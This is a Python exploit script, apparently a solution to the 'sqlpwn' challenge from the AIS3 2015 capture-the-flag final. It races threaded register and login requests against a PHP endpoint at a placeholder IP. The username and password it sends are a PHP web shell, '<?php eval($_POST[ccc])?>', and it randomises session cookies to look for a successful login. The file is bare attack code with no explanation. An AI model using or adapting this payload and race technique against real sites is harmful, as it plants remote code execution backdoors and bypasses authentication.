ais3-final-2015/sqlpwn/exploit.py

import time
import requests
import threading
from random import randint

headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(0xfffff):
    time.sleep(0.1)
    name = '<?php eval($_POST[ccc])?>' + str(i)
    data = {'name': name, 'pass': name}

    def reg(name):
        r = requests.post( 'https://1.2.3.4/sqlpwn.php?mode=register', 
                           headers=headers, 
                           data=data)
    def login(name):
        _h = dict(headers)
        _h['Cookie'] = 'PHPSESSID=%dphp' % randint(0,0xffffff)
        r = requests.post( 'https://1.2.3.4/sqlpwn.php?mode=login', 
                           headers=_h, 
                           data=data)

        if  'user locked' not in r.content and  'user not found' not in r.content :
            print _h
            exit()

    threading.Thread(target=login, args=(name, )).start()
    threading.Thread(target=reg,   args=(name, )).start()